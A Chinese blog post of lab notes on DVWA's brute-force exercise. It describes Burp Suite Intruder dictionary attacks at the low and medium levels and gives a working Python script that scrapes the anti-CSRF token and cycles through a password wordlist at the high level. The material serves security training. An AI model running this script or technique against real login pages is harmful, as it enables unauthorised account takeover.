DVWA笔记之一:brute Force

1.Low 级别

burpsuite抓包


low级别是使用GET请求进行登录,将其发送到Intruder中,并增加password变量


之后选择字典开始攻击。


暴力破解完成后,查看结果RESULT,根据Content-Length来判断登陆是否成功。



2.MEDIUM级别


有效抵制了sql注入,但是并未有对爆破破解做有抵御措施,因此爆破方法与上述类似,只是这里增加了一个sleep(2)会降低爆破的时间。


3.HIGH级别


此时在登录时就加入了令牌机制,该令牌被放置在提交的表格中,每次提交登录都会先对token进行校验。因此每次都需要先把token爬取到只有在进行登录提交,从而实现暴力破解。

这里就通过爬虫的方式进行暴力破解,首先抓去Token,之后带Token提交参数,得到的response判断其长度,也是根据长度进行判断是否登陆成功。

参考freebuf上的文章,代码如下:

#coding=utf-8
from bs4 import BeautifulSoup
import requests
header={
   'Host':'vspiders.iok.la',
   'Upgrade-Insecure-Requests': '1',
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36',
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
   'Referer': 'http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php',
   'Accept-Encoding': 'gzip, deflate',
   'Accept-Language': 'zh-CN,zh;q=0.8',
   'Cookie': 'security=high; PHPSESSID=nqnhr54k42sd46r0t0uq6u32v4',
   'Connection':'close'
}
requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php"
dvwa_session = requests.Session()
i=0
def get_token(requrl,header):
   req=dvwa_session.get(url=requrl,headers=header,)
   the_page=req.content
   response=req.status_code
   soup=BeautifulSoup(the_page,"lxml")
   user_token=soup.form.find_all('input')[3]['value']
   return user_token,len(the_page)
user_token,l=get_token(requrl,header)

for line in open('rkolin.txt'):
   requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
   i=i+1
   user_token,l=get_token(requrl,header)
   print i,'admin',line.strip(),l


posted @ 2017-08-11 10:10  vspiders  阅读(329)  评论(0编辑  收藏  举报